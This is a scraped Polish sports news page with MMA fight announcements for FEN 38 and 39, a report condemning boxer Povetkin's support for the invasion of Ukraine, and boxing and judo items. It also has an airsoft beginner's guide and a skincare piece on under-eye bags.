Przez lata rosyjski bokser zaliczał się do czołówki wagi ciężkiej. Powietkin zapisał na swoim koncie 36 zwycięstw i zanotował trzy porażki. W sierpniu 2011 roku sięgnął po pas mistrzowski WBA pokonując Rusłana Czagajewa. Powietkin walczył również z potężnym Władimirem Kliczko, jednak przegrał starcie, które odbyło się w Moskwie. Kariera rosyjskiego pięściarza pełna była interesujących walk, ale i skandali. W maju 2016 roku Powietkin miał zmierzyć się z Deontayem Wilderem, ale starcie nie odbyło się. Powodem był pozytywny wynik badań antydopingowych Rosjanina. To nie była jedyna taka sytuacja… Wokół postawy Powietkina narodziła się szeroka dyskusja. Pojawiały się również oskarżenia o „spisek” przeciw bokserowi. Ten został zdyskwalifikowany, ale wrócił do rywalizacji. Ostatnią walkę Powietkin stoczył w marcu 2021 roku.

Były pięściarz zabrał głos w sprawie ataku Rosji na Ukrainę. Powietkin popiera zbrojna agresję.  – Siła jest w prawdzie. Słynne słowa Siergieja Bodrowa dziś wyrażają to, co dzieje się w Ukrainie. Walczyliśmy za prawdę te wszystkie lata, kiedy Słowianie byli eksterminowani w Donbasie. Dlatego popieram decyzje prezydenta, by walczyć w obronie zwykłych ludzi, zwalczyć nazizm. Każda wojna ma swój koniec. Oby koniec tej nadszedł w najbliższych dniach – napisał Powietkin w mediach społecznościowych.

Słowa boksera są skandaliczne. Wobec protestów całego świata, w tym sportowców i związków sportowych ten staje po stronie agresora. Powietkin broni działań prowadzonych przez własny kraj. Jego słowa nie umknęły opinii publicznej i spotkały się z jednoznaczną oceną. Powietkin przekroczył granice i zachował się haniebny sposób.

Walczą o swój kraj

Jak mają się słowa Powietkina do działań innych sportowców, którzy nawołują do pokoju? Spójrzmy jednak na ukraińskich patriotów. Wielkich sportowców, którzy stanęli do walki w obronie ojczyzny. Za broń złapali znakomici pięściarze – bracia Władimir i Witalij Kliczko. Do armii dołączyli także Oleksandr Usyk i Wasyl Łomaczenko. Przykłady mnożyć. Do walki stanął także karateka Stanislaw Horuna.

To są piękne postawy. Wspaniałe jest również zaangażowanie Polaków, którzy ruszyli na granicę pomagać Ukraińcom. Wspieramy z całych sił. Jako część sportowego świata, a przede wszystkim ludzie. #SolidarnizUkrainą

Fot. A. Powietkin Instagram

Andryszak pierwszym rywalem Thompsona w obronie tytułu mistrzowskiego

Oli Thompson (21-14, 13 KO, 4 SUB) podejmie Michała Andryszaka (23-10, 15 KO, 7 SUB) w walce wieczoru gali FEN 39: LOTOS Fight Night, która 12 marca odbędzie się w Ząbkach. Stawką tego starcia będzie pas mistrzowski FEN w kategorii ciężkiej.

Thompson to pierwszy historyczny mistrz FEN w kategorii ciężkiej, który podczas gali FEN 28 pokonał przez nokaut w 1. rundzie Szymona Bajora. To weteran mieszanych sztuk walki z ponad 30 zawodowowymi pojedynkami na koncie. „Spartan” ma na rozkładzie między innymi Fernando Rodriguesa i Romana Wehbe, których pokonał przed czasem. Thompson jest znany przez polskich kibiców, gdyż zawsze gwarantuje swoją postawą w klatce ogromne emocje.

Andryszak wygrał w karierze 23 pojedynki, z czego 22 przed czasem i aż 20 skończył w 1. rundach. W swoim debiucie w FEN pokonał w premierowej odsłonie Evgeniya Holuba„Longer” poddał w 2021 roku w 2. starciu Guto Inocente, wcześniej w 9. sekundzie walki znokautował Iona Grigore. Andryszak to były pretendent do tytułu mistrzowskiego KSW w kategorii ciężkiej. Idąc po trofeum rozprawił się z takimi rywalami, Jak Fernando Rodrigues Jr. czy Michał Kita.

Angelika Szymańska zdobywa brąz na Paris Grand Slam

Angelika Szymańska popieczna Anety Szczepańskiej brązową medalistką Paris Grand Slam. Angelika w walce o brązowy medal pokonała 5-tą zawodniczkę rankingu światowego, Brytyjkę Lucy Renshall. Brawo Angelika.

Wielkie gratulacje dla trenerów niegdyś wybitnej zawodniczki a dzis wybitnej trenerki Anety Szczepańska i Pawła Zagrodnika.

Ola Kaleta i Julia Kowalczyk, po dobrych walkach zajęły 7-me miejsca i niewiele brakło do strefy medalowej.

fot. Polski Związek Judo

 

 

FEN 38: Bonusy za galę w Ostrowie Wielkopolskim

Organizacja FEN przyznała bonusy za galę FEN 38: LOTOS Fight Night. Wydarzenie odbyło się 22 stycznia w Ostrowie Wielkopolskim.

Za najlepszą walkę podczas gali wybrano starcie Wojciecha Kawy z Kamilem Mosgalikiem. Wojownik ze Szczecina wygrał przez TKO w 3. rundzie.

Nagroda za nokaut gali wędruje do Wojciecha Kawy, który po raz pierwszy w swojej przygodzie z FEN zwyciężył przed czasem.

Autorem najlepszego poddania jest Kamil Kraska, który w premierowej odsłonie rozprawił się z Tato Primerą.

FEN 38: Wyniki ważenia

Przedstawiamy wyniki ważenia przed galą FEN 38: LOTOS Fight Night, która 22 stycznia odbędzie się w Ostrowie Wielkopolskim. 

120,2: Michał Andryszak (114,5) vs. Evgeniy Holub (119,4)

79,0: Kamil Kraska (80,7) vs. Tato Primera (81,0)

61,2: Ekaterina Shakalova (62,7) vs. Julia Kutsenko* (61,8)

80,0: Jacek Jędraszczyk (80,3) vs. Kacper Bróździak (82,0)

70,3: Wojciech Kawa (72,3) vs. Kamil Mosgalik (72,5)

68,5: Mateusz Rajewski (68,7) vs. Giorgi Esiava (68,0)

88,0: Damian Ostęp (89,1) vs. Michał Grzesiak (87,7)

96,0: Kamil Wojciechowski (96,7) vs. Kornel Zapadka (98,0)

120,2 (semi-pro): Mateusz Olech (116,1) vs. Jacek Kujtkowski (115,1)

70,3 (semi-pro): Igor Terlecki (72,3) vs. Jakub Owczarek (72,3)

*walka o pas mistrzowski FEN

WAŻNE: W każdym pojedynku organizacja dopuszcza tolerancję wagową 2 kilogramy.

FEN 38: Holub nowym rywalem Andryszaka w walce wieczoru

Evgeniy Holub (14-9, 10 KO, 4 SUB) podejmie Michała Andryszaka (22-10, 14 KO, 7 SUB) podczas walki wieczoru gali FEN 38: LOTOS Fight Night, która 22 stycznia odbędzie się w Ostrowie Wielkopolskim. Geronimo Dos Santos uzyskał pozytywny wynik na COVID 19 i musiał wycofać się z pojedynku.

Bilety na galę FEN 38 zakupić można TUTAJ.

Holub ma w swoim zawodowym dorobku 14 zwycięstw i wszystkie odniósł przed czasem. W listopadzie 2021 roku pokonał przed poddanie w 2. rundzie Abnadbesuka Hoyayeva, wcześniej przez TKO w premierowej odsłonie rozprawił się z Oybekiem Niyzovem. Hołub dziesięciokrotnie nokautował swoich przeciwników i czterokrotnie ich poddawał. Występ na FEN 38 będzie jego debiutem w organizacji.

Andryszak wygrał w karierze 22 pojedynki, z czego 21 przed czasem i aż 19 skończył w 1. rundach. "Longer" poddał w 2021 roku w 2. starciu Guto Inocente, wcześniej w 9. sekundzie walki znokautował Iona Grigore. Andryszak to były pretendent do tytułu mistrzowskiego KSW w kategorii ciężkiej. Idąc po trofeum rozprawił się z takimi rywalami, Jak Fernando Rodrigues Jr. czy Michał Kita.

Shakalova z Kutsenko powalczą o pierwszy mistrzowski pas kobiet w MMA

Ekaterina Shakalova (6-1, 1 KO, 3 SUB) podejmie Julię Kutsenko (6-7, 2 KO, 2 SUB) podczas gali FEN 38: LOTOS Fight Night, która 22 stycznia odbędzie się w Ostrowie Wielkopolskim. Stawką tego starcia będzie pas mistrzowski FEN w kategorii koguciej.

Bilety na galę FEN 38 zakupić można TUTAJ.

Skahalova miała okazję pokazać pełnię swoich umiejętności wygrywając jednogłośnie na punkty z Izabelą Badurek podczas gali FEN 33. Dwa miesiące później pokonała w 2. rundzie z Jamilą Sandorą, którą pokonała duszeniem zza pleców. Wcześniej na polskiej ziemi bez problemu rozprawiła się na punkty z Różą Gumienną. W 2020 roku stoczyła dwa pojedynki i oba wygrała. Pierwszą walkę zwyciężyła przez techniczny nokaut pokonując Zoyę Litvinenko, w drugiej poddała Marinę Stakhalskayę. Ukrainka w przeszłości zdobyła tytuł mistrzyni świata w grapplingu.

Kutsenko to zawodniczka, która starty w formule MMA miesza z tymi bokserskimi. W stójce radzi sobie znakomicie – spośród 12 stoczonych walk 9 wygrywała, 1 zremisowała i 2 przegrała. W MMA poddała w 3. rundzie Udvan Sonomyn w grudniu 2020 roku, wcześniej na pełnym dystansie zwyciężyła w Chinach z zawodniczką gospodarzy, Hongfeng Ji. Spośród 6 zwycięskich pojedynków Kutsenko 4 walki wygrała przed czasem dwukrotnie nokautując i dwukrotnie poddając swoje przeciwniczki.

Wojciechowski z Zapadką skrzyżują rękawice w Ostrowie Wielkopolskim

Kamil Wojciechowski (4-0, 3 KO, 1 SUB) podejmie Kornela Zapadkę (9-3, 9 SUB) podczas gali FEN 38: LOTOS Fight Night, która 22 stycznia odbędzie się w Ostrowie Wielkopolskim. Limit tego pojedynku to 96 kilogramów.

Bilety na galę FEN 38 zakupić można TUTAJ.

Wojciechowski na zawodowstwie przebywa od 2016 roku i w tym czasie stoczył 4 pojedynki. Za znakomitej strony pokazał się podczas gali FEN 36, gdy wskoczył do karty walk na kilka dni przed wydarzeniem, a pokonał przez techniczny nokaut w 1. rundzie faworyzowanego Łukasza Klingera. Wcześniej wystąpił podczas Seaside BattleS Dziwnów, kiedy wygrał przez TKO w 2. rundzie z Michałem Gutowskim. Przed ponad trzyletnią przerwa, rozprawił się również przez TKO z Ruslanem Chapko.

Zapadka ma w dorobku 9 zawodowych zwycięstw i wszystkie odniósł przez poddania swoich rywali. W marcu 2021 roku poddał kimurą w premierowej odsłonie Ailibeka Mamasabyrova. Kimura to koronna technika "Kornika", który trzykrotnie właśnie w ten sposób odprawiał swoich przeciwników. W lipcu 2020 roku kontynuowania walki z Zapadką odmówił Djamaldin Djabirov, który przegrał ze styczniowym debiutantem w FEN przez poddanie.

FEN 38: Bróździak rywalem Jędraszczyka w Ostrowie Wielkopolskim

Kacper Bróździak (4-2, 3 SUB) będzie rywalem Jacka Jędraszczyka (7-3, 2 KO) podczas gali FEN 38: LOTOS Fight Night, która 22 stycznia odbędzie się w Ostrowie Wielkopolskim. Limit wagowy tego pojedynku to 80 kilogramów.

Bilety na galę FEN 38 zakupić można TUTAJ.

Bróździak to niespełna 27-letni zawodnik trenujący w klubie Mighty Bulls Gdynia. W ostatnim zwycięskim pojedynku pokonał jednogłośną decyzją sędziów Oskara Herczyka, wcześniej podczas gali RWC 3 poddał duszeniem gilotynowym Łukasza Góreckiego. W swojej pierwszej zawodowej walce pochodzący z Tczewa wojownik również gilotyną skończył pojedynek z Filipem Peplińskim. Później poddał Mateusza Makarowskiego duszeniem zza pleców. Bróździak 22 stycznia zadebiutuje w FEN.

Jędraszczyk podczas gali FEN 27 znokautował w 2. rundzie Samuela Vogta posyłając go na deski prawym prostym. Wcześniej na pełnym dystansie pokonał jednogłośną decyzją arbitrów Cezarego Oleksiejczuka. Jędraszczyk stoczył pasjonujący bój z Tymoteuszem Łopaczykiem podczas FEN 21, a walka ta została uznana jedną z najlepszych w całym 2018 roku. Spod jego ręki pierwszą zawodową porażkę zanotował również Mateusz Głąb.

FEN 38: 2 walki semi-pro dodane do rozpiski

Podczas gali FEN 38: LOTOS Fight Night odbędą się 2 walki na zasadach semi-pro. Ich bohaterami będą Mateusz Olech i Jacek Kujtkowski (-120,2 kg) oraz Jakub Owczarek i Igor Terlecki (70,3 kg). Wydarzenie odbędzie się 22 stycznia w Arenie Ostrów.

Bilety na galę FEN 38 zakupić można TUTAJ.

Mateusz Olech to bardzo doświadczony amator trenujący w ANKOS MMA. Jest zwycięzcą Pucharu Polski w brazylijskim jiu-jitsu, a jego rekord na zawodach ALMMA wynosi 12-3. Jest bratem Łukasza, który miał okazję zawalczyć podczas FEN na gali z numerem 37, gdzie wygrał przed czasem.

Jacek Kujtkowski na co dzień trenuje w klubie Poland Top Team Grudziądz. Dwukrotny triumfator zawodów ALMMA posiada rekord 6-3. 22 stycznia będzie chciał sprawić niespodziankę i pokonać faworyzowanego Mateusza Olecha.

***

Jakub Owczarek posiada amatorski rekord 7-3 i bił się z wieloma mocnymi zawodnikami, takimi jak Dominik Wydra czy aktualny zawodnik FEN – Wojciech Kawa. Owczarek jest purpurowym pasem w brazylijskim jiu-jitsu, a także brązowym medalistą mistrzostw kraju organizowanych przez MMA Polska.

Igor Terlecki swoją przygodę z MMA rozpoczął na gali FEN 36, gdy odprawił przed czasem Patryka Buczkowskiego, czym zszokował większość środowiska. Trenujący w Berserkers Team Szczecin amatorski mistrz Polski w boksie będzie starał się w Ostrowie Wielkopolskim odnieść drugie zwycięstwo pod szyldem organizacji.

Pojedynki semi-pro w MMA odbywają się na dystansie 3 rund po 3 minuty każda.

– nie można używać łokci

– nie można uderzać kolanem w głowę

– nie można używać “skrętówek”

""

Brazylijski "King Kong" Geronimo rywalem Andryszaka na FEN 38

Geronimo dos Santos (44-23-1, 31 KO, 8 SUB) podejmie Michała Andryszaka (22-10, 14 KO, 7 SUB) podczas gali FEN 38: LOTOS Fight Night, która 22 stycznia odbędzie się w Arenie Ostrów. Będzie to walka wieczoru tej edycji.

Bilety na galę FEN 38 zakupić można TUTAJ.

Geronimo ma na koncie 43 wygrane walki, z czego 39 odniósł przed czasem 31-krotnie nokautując swoich rywali i 8-krotnie ich poddając. W 2020 roku "King Kong" wygrał przez TKO z Joanem Paulo Silvą, również w premierowej odsłonie rozprawił się w 2019 roku z Sandro Santorem. Dwa lata wcześniej przegrał z Aleksanderem Emelianenko. Geronimo startuje na zawodowstwie nieprzerwanie od 2006 roku. W swojej karierze w przypadku aż 33 walk pokonywał rywali w premierowych odsłonach.

Andryszak wygrał w karierze 22 pojedynki, z czego 21 przed czasem i aż 19 skończył w 1. rundach. "Longer" poddał w 2021 roku w 2. starciu Guto Inocente, wcześniej w 9. sekundzie walki znokautował Iona Grigore. Andryszak to były pretendent do tytułu mistrzowskiego KSW w kategorii ciężkiej. Idąc po trofeum rozprawił się z takimi rywalami, Jak Fernando Rodrigues Jr. czy Michał Kita.

FEN 38: Kraska i Tato Primera dodani do karty walk

Tato Primera (17-11, 10 KO, 2 SUB) podejmie Kamila Kraskę (7-1, 3 KO, 3 SUB) podczas gali FEN 38: LOTOS Fight Night. Wydarzenie odbędzie się 22 stycznia w Arenie Ostrów. Pojedynek odbędzie się w limicie umownym do 79 kilogramów.

Bilety na galę FEN 38 zakupić można TUTAJ.

Kraska wygrał swój ostatni pojedynek – po szalonym boju pokonał decyzją sędziów Jose Barriosa podczas FEN 35. Wojownik z Ostrowa Wielkopolskiego ze znakomitej strony pokazał się podczas swojego debiutu na FEN, gdy pokonał już w premierowej odsłonie przez poddanie Szymona Szarpaka. W swojej drugiej walce na FEN, podczas 29. edycji, poddał Piotra Golona. Później dorzucił do swojego dorobku jeszcze dwa triumfy, oba przed czasem. Łukasz Dziudzia przegrał z Kraską przez techniczny nokaut, poddany gilotyną został Paweł Karwowski. W swoim ostatnim starcie wojownik z Ostrowa Wielkopolskiego przez techniczny nokaut w 1. rundzie wygrał z Mateuszem Głuchem. Kraska w grudniu 2016 roku został amatorskim mistrzem Polski podczas zawodów, które odbyły się w Sochaczewie. Przed przejściem na zawodowstwo stoczył 23 pojedynki, z których 20 wygrał.

"El Espectaculo" w ostatnim czasie walczył pod szyldem organizacji Oktagon, w której 2 walki wygrał i 2 przegrał. W grudniu 2020 roku wygrał decyzją sędziów z przedstawicielem gospodarzy, Andrejem Kalasnikiem. Primera 12 swoich wygranych pojedynków skończył przed czasem – ma na koncie 10 nokautów oraz 2 poddania. W 2018 roku Hiszpan wygrał przez TKO z Ederem de Souzą, aktualnym mistrzem FEN w kategorii półciężkiej.

FEN 38: Sianos ze Slobodiukiem dodani do karty walk

Marcin Sianos (5-7,  5 KO) podejmie Ivana Slobodiuka (2-0, 1 KO) podczas gali FEN 38, która 22 stycznia odbędzie się w Ostrowie Wielkopolskim.

Bilety na galę FEN 38 zakupić można TUTAJ.

Sianos spośród pięciu zwycięskich walk na zawodowstwie wszystkie skończył w ten sam sposób – nokautując swoich rywali. O sile jego prawej ręki przekonał się Marcin Zontek, który jeszcze w 1. odsłonie musiał uznać wyższość polskiego kolosa i padł na deski, a w konsekwencji przegrał pojedynek. Wcześniej Sianos stoczył krwawy bój z Grzegorzem Cieplińskim i już w inaugurującej odsłonie rozprawił się z Mateuszem Łazowskim. Ostatnie zwycięstwo Sianosa to wygrany bój z Filipem Toe przez techniczny nokaut.

Slobodiuk na zawodowstwie stoczył dwie walki i obie wygrał. W listopadzie 2020 roku pokonał przez techniczny nokaut w premierowej odsłonie Deividasa Zakauskasa. Niespełna rok później wygrał na pełnym dystansie decyzją sędziów z Aleksandarem Tsonevem. W Ostrowie Wielkopolskim pochodzący z Ukrainy zawodnik dopiero zadebiutuje w FEN.

FEN 38: Kawa z Mosgalikiem dodani do karty walk

Wojciech Kawa (3-1, 1 KO) podejmie Kamila Mosgalika (5-5, 1 KO, 4 SUB) podczas gali FEN 38, która 22 stycznia odbędzie się w Ostrowie Wielkopolskim.

Bilety na galę FEN 38 zakupić można TUTAJ.

Kawa to podopieczny Piotra Bagińskiego i Radosława Króla reprezentujący Berserkers Team Szczecin i BKS Olimp Szczecin. 26-latek znakomicie odnajduje się w walce w stójce, ale jego mocną stroną są również zapasy. Kawa udanie zadebiutował w FEN podczas 32. edycji, kiedy to pokonał na pełnym dystansie Mikołaja Lewandowskiego, podczas gali Seaside BattleS Dziwnów wygrał po 15-minutowym boju z Syvatlosavem Zhimanovem. Podczas swojego ostatniego występu pod szyldem FEN, w październiku 2021 roku, pokonał na pełnym dystansie Denisa Zarównego. Podczas kariery amatorskiej stoczył 39 pojedynków, z czego 31 wygrał i 8 przegrał. W pokonanym polu zostawił między innymi Grzegorza Grzybowskiego i Jakuba Owczarka.

Mosgalik pierwszą zawodową walkę stoczył w 2014 roku. Ostatnie 12 miesięcy to znakomity okres w jego wykonaniu: we wrześniu pokonał przez TKO Adriana Delę, w czerwcu poddał duszeniem gilotynowym w premierowej odsłonie Jana Siroky'ego. Mosgalik wszystkie swoje pięć wygranych pojedynków zakończył przed czasem aż czterokrotnie poddając swoich przeciwników. Podczas gali FEN 38 zawodnik zadebiutuje w FEN.

FEN 38: Rajewski z Esiavą dodani do karty walk w Ostrowie Wielkopolskim

Giorgi Esiava (4-2, 1 KO, 3 SUB) podejmie Mateusza Rajewskiego (2-2, 1 KO) podczas gali FEN 38, która 22 stycznia odbędzie się w Arenie Ostrów. Pojedynek odbędzie się w limicie umownym do 68,5 kilograma.

Bilety na galę FEN 38 zakupić można TUTAJ.

Rajewski to zawodnik, który miesza starty w MMA i w K-1. Na zawodowstwie w formule mieszanej stoczył cztery pojedynki, z których dwa wygrał. Dzięki ciosom w parterze wygrał w 2. rundzie z Mikołajem Kaludą, na pełnym dystansie jednogłośną decyzją sędziów rozprawił się z Kevinem Nowakiem. Ostatnie dwie walki w K-1 wygrał: z Kamilem Szłapką i Wojciechem Kazieczko. Podczas swojego debiutu bokserskiego, w październiku 2021 roku, wygrał z Adrianem Kępą.

Esiava w 2022 roku skończy 23 lata. Podczas swojej ostatniej walki wygrał przez nokaut z Sviatoslawem Zhymanovem, chwilę wcześniej z Michałem Milerem poddając go w drugiej odsłonie pojedynku. Wcześniej stoczył przegrany bój na pełnym dystansie z Adrianem Kępą i wygrał przez duszenie gilotynowe z Hubertem Lottą. Na szczególne uznanie zasługuje technika kończąca, dzięki której Esiava wygrał pojedynek z Dominikiem Tkaczykiem. Ta akcja została nagrodzona

Ostęp sprawdzi gościnność Grzesiaka podczas FEN 38 w Ostrowie Wielkopolskim

Starcie dwóch świetnych kickbokserów zostało dodane do karty walk FEN 38 w Ostrowie Wielkopolskim. Łączący starty w MMA i K-1 Damian Ostęp (15-6) zmierzy się z Michałem Grzesiakiem (10-5). Starcie w formule K-1 zostało zakontraktowane w limicie do 88 kilogramów. Wydarzenie odbędzie się 22 stycznia w Arenie Ostrów. 

Bilety na galę FEN 38 zakupić można TUTAJ.

Damian Ostęp to zawodnik klubów Berserkers Team Szczecin i BKS Olimp Szczecin. Popularny „White Tiger” jest mistrzem świata K-1 WFMC z 2018 roku. Ostatnią walkę w tej formule stoczył na gali EFM SHOW, gdzie po bardzo dobrej walce uległ na punkty utytułowanego Bułgarowi, Danielowi Ilievowi. Zawodnik z zachodniej części pomorza to także wicemistrz Polski K-1 Rules z 2013 roku i wicemistrz w formule Muay Thai z 2014 roku. Na amatorstwie Ostęp stoczył 25 pojedynków.

Michał Grzesiak to zawodnik z Ostrowa Wielkopolskiego, który jest mistrzem świata w Kickboxingu z 2021 roku, a o tytuł walczył w dobrze obsadzonym turnieju we włoskim Jesolo. Co ciekawe, 4 lata wcześniej ten sam tytuł zdobył w Budapeszcie. Podczas FEN 38 będzie chciał pokazać się swoim kibicom z jak najlepszej strony.

Oscar de la Hoya chce wrócić na ring

W maju 2022 roku powinniśmy zobaczyć w ringu Oscara de la Hoyę. 48-latek planuje powrót na ring, w którym ostatni raz zaprezentował się w 2008 roku.

48-letni Amerykanin meksykańskiego pochodzenia podjął decyzję, że znowu chce walczyć. Bogata kariera bokserska, potem działalność w roli promotora, ale w pewnym momencie de la Hoya potrzebował dodatkowego zastrzyku adrenaliny. Oznajmił, że wraca. Jego walka miała odbyć się 11 września. De la Hoya w ringu spotkałby się z Vitorem Belfortem. Tydzień przed pojedynkiem utytułowany pięściarz trafił do szpitala. Powodem było zakażenie koronawirusem.

De la Hoya stopniowo wraca do sił i nie zamierza rezygnować z powrotu na ring. Jego wstępne plany zakładają, że w styczniu wznowi treningi i będzie przygotowywał się do walki. 48-latek chce stoczyć pojedynek w maju przyszłego roku. Jako potencjalnego rywala de la Hoyi podaje się Floyda Mayweathera Jr. Nie pozostaje nic innego jak czekać na rozwój wypadków. Zobaczymy, czy plany 48-latka się ziszczą. Zdajemy sobie sprawę, że koronawirus potrafi potężnie doświadczyć organizm. Jeśli de la Hoya w styczniu rozpocznie treningi i będzie w formie, być może późną wiosną zobaczymy „Golden Boya” w ringu. Po blisko 14 latach. Bez wątpienia będzie to ogromne wydarzenie.

De la Hoya to jedna z bokserskich legend. W wieku 19 lat sięgnął po mistrzostwo olimpijskie w Barcelonie. Potrzebował dwunastu walk, aby zdobyć tytuł mistrza świata. 5 marca 1994 roku pokonał Jimmiego Bredahla i sięgnął po pas WBO wagi junior lekkiej (superpiórkowej). Marsz de la Hoyi trwał przez kolejne lata. „Golden Boy” zachwycał w ringu i zdobywał kolejne pasy. De la Hoya był mistrzem w sześciu kategoriach wagowych – od super piórkowej do średniej. Ostatnie zwycięstwo na zawodowym ringu odniósł w maju 2008 roku, kiedy to pokonał Steve’a Forbesa. Z kolei w grudniu zanotował porażkę w rywalizacji w Manny Pacquiao. Była to ostatnia dotychczas walka de la Hoyi. Łącznie „Golden Boy” stoczył 45 pojedynków w karierze, z których 39 wygrał, w tym 30 przed czasem.

Fot. Oscar De La Hoya Facebook

KM

Airsoft – podstawowe zasady i pomoc w doborze sprzętu

ASG to gra, w którą każdego dnia grają tysiące osób w całym kraju oraz znacznie więcej poza nim. Pasja łącząca spore grona ludzi i umożliwiająca tworzenie własnych drużyn. Niesie ze sobą wiele korzyści, takich jak kształtowanie i polepszanie umiejętności pracy w grupie, a także wprowadza sporo ruchu do naszego życia.  Załóżmy jednak, że jesteśmy początkującymi graczami i nie wiemy, czy to hobby jest akurat naszym przeznaczeniem. Istnieje sporo miejsc, w których można wypożyczyć swój sprzęt i sprawdzić się w tej roli. Warto jednak wybrać się w te miejsca kilkukrotnie, aby skorzystać z różnych rodzajów broni, gdyż niekoniecznie wszystko będzie wychodziło nam konkretnymi sprzętam

Zasady gry w ASG

Zanim w ogóle wybierzemy się ze znajomymi w pierwszą, airsoftową podróż, powinniśmy wpierw poznać wszystkie reguły gry. Oczywiście, że nie można traktować imitacji wojny jako realnego zagrożenia i zdecydowaną uwagę trzeba zwracać na bezpieczeństwo, gdyż o tragedię nietrudno.

W pierwszej kolejności należy wspomnieć o konieczności zakupu specjalnych okularów bądź też ich wypożyczenia. Ochrona oczu jest szczególnie istotna w tej kwestii, gdyż prędkość kulki wydobywanej z broni zdecydowanie przewyższa refleks naszego oka. Drugą, istotną zasadą jest bezwzględny zakaz spożywania alkoholu bądź innych używek odurzających podczas trwania rozgrywki. Dla organizatorów również istnieje specjalna reguła mówiąca, że każdy teren gry musi być dokładnie sprawdzony pod kątem dziur bądź wystających z ziemi przedmiotów.

Uczestnicy powinni pamiętać również, że mają kontakt z bronią, która jest w stanie wyrządzić krzywdę drugiej osobie. Z tego względu, w przypadku bliskiego kontaktu z przeciwnikiem nie oddaje się strzałów, a jedynie krzyczy się hasło “bam bam”.

Wybór pierwszej broni – na co się zdecydować?

Na popularnych forach związanych z airsoftem możemy spotkać się z postami uczestników, w których chwalą się oni swoimi drogimi replikami. Trzeba podkreślić, że są to już pasjonaci i liczy się dla nich każdy detal. Na początek nie jest nam potrzebna tak dobra broń, więc lepiej jest przeznaczyć większą część budżetu na bezpieczeństwo, a nie na replikę. W celu znalezienia broni dla początkujących, warto jest odwiedzić tani sklep z replikami ASGi zakupić używany model broni, który nam odpowiada.

Typ repliki powinniśmy wybrać na podstawie testów, dlatego wcześniej wspomniano o tym, aby wybierać się z początku na airsoft za każdym razem z innym sprzętem. Po kilku rundach sami stwierdzimy, czy lepiej jest nam strzelać z karabinów snajperskich, maszynowych czy z pistoletów.

Umundurowanie – co jest najważniejsze?

Oprócz koniecznych okularów, warto jest wyposażyć się również w mundur, dzięki któremu nie będziemy aż tak odczuwać skutków strzałów. Ponadto przydać mogą się nam nakolanniki i dobre, wysokie buty, które uniemożliwią nam kontuzji stawu skokowego.

Aby zdobyć jednak pełne umundurowanie, wcale nie musimy przepłacać. Strój możemy wykonać z różnego rodzaju spodni i kurtek budowlanych, rękawiczki robocze również świetnie się spiszą, a nakolanniki z pewnością znajdziemy w domu chociażby z czasów, gdy jeździliśmy na rolkach.

Czy worki pod oczami to efekt nadmiaru wody w organizmie?

Nieprzespana noc, silne zmęczenie, stres lub stopniowe starzenie się skóry – wszystkie te czynniki posiadają wpływ na to, w jaki sposób będzie prezentować się nasza skóra pod oczami. Ten obszar jest bowiem w największym stopniu narażony na wszelkiego rodzaju mikrourazy oraz najszybciej uwidacznia objawy zmęczenia i starzenia. To właśnie wtedy zwykle pojawiają się worki pod oczami, które stanowią poważny problem estetyczny wśród wielu kobiet. Sprawdź, czego jeszcze objawem mogą okazać się worki pod oczami, a także jaki krem pod oczy wybrać, aby zminimalizować ich widoczność.

Delikatna skóra wokół oczu

Zanim przejdziemy do omówienia problemów, jakie mogą powodować widoczne worki pod oczami, warto poświęcić chwilę obszarowi, w jakim występują, czyli delikatnej skórze wokół oczu.

Dlaczego skóra wokół oczu jest tak podatna na wszelkiego rodzaju uszkodzenia? To najcieńszy obszar na naszym ciele, posiada bowiem zaledwie 0,5 milimetra grubości. Oprócz tego pozbawiona jest gruczołów łojowych, a więc nie chroni jej warstwa sebum, która pokrywa pozostałe partie skóry twarzy. To z kolei powoduje, że szybciej ulega przesuszeniu, a także jest bardziej podatna na podrażnienia, jakie mogą wywoływać czynniki zewnętrzne (silny wiatr, mróz, promieniowanie ultrafioletowe czy obecne w powietrzu zanieczyszczenia).

Należy także wspomnieć o zachodzących w naszym organizmie procesach starzenia, które zaczynają uwidaczniać się już w okolicach 25. roku życia. To właśnie wtedy w strefie pod oczami możesz zauważyć drobne zmarszczki i linie mimiczne.

Worki pod oczami – przyczyny

W przypadku worków pod oczami bardzo często jako jeden z powodów podaje się wiek oraz zachodzące procesy starzenia. Warto jednak pamiętać, że od czasu do czasu worki pod oczami mogą pojawiać się na naszej skórze niezależnie od tego, ile mamy lat. Przede wszystkim wpływ na ich obecność posiada prowadzony przez nas styl życia, ilość snu dostarczanego organizmowi, a także dieta. Co więcej, zbyt duża ilość cukru, soli i produktów przetworzonych sprawia, że dochodzi do zatrzymywania wody w organizmie, czego efektem jest obrzęk skóry i pojawienie się worków pod oczami.

Osoby, które nie piją odpowiedniej ilości wody dziennie, również mogą narzekać na widoczne zasinienia, przesuszenie skóry oraz worki pod oczami. Warto o tym pamiętać i sprawić, aby regularne picie wody stało się naszym zdrowym nawykiem.

W przypadku worków pod oczami warto mieć na uwadze, że ich obecność może, choć nie musi, stanowić objaw chorobowy, np. niedoczynności tarczycy, chorób nerek, cukrzycy lub pojawić się w wyniku przyjmowania niektórych leków hormonalnych. Jeśli oprócz worków pod oczami będziesz odczuwać jakikolwiek ból, pieczenie czy swędzenie, a objawy nie będą ustępowały, nie bagatelizuj tego problemu i koniecznie zgłoś się do lekarza.

Krem pod oczy na worki pod oczami

Worki pod oczami to w większości przypadków defekt kosmetyczny, z którym można poradzić sobie za pomocą prostych i łatwo dostępnych sposobów. Jeden z nich stanowi bez wątpienia odpowiednia pielęgnacja skóry. Pomimo tego, że okolica pod oczami to bardzo delikatny obszar, wiele osób traktuje ją po macoszemu i nie stosuje kosmetyków stworzonych do pielęgnacji właśnie tego obszaru skóry. Jest to duży błąd, który może skutkować tym, że nie tylko nie pozbędziemy się worków pod oczami, ale jednocześnie nadmiernie obciążymy naszą skórę.

Po jaki krem pod oczy warto sięgnąć? Przede wszystkim powinien on posiadać lekką, nieobciążającą konsystencję i szybko się wchłaniać. Bardzo ważne jest, aby nie tylko nawilżał, ale i zmniejszał obrzęk. W tym celu warto sięgnąć po krem pod oczy, który będzie zawierał składniki pobudzające mikrokrążenie skóry, wzmacniał jej właściwości ochronne, a także neutralizował wolne rodniki. Składnikami, które okażą się w tej kwestii pomocne, są: kofeina, miłorząb japoński, ogórek czy bławatek. Ciekawym rozwiązaniem będzie także krem pod oczy w formie roll-on, który nie tylko ułatwia aplikację produktu, ale przyjemnie chłodzi skórę, dodatkowo zmniejszając obrzęk.

Błachowicz wśród nominowanych do World MMA Awards

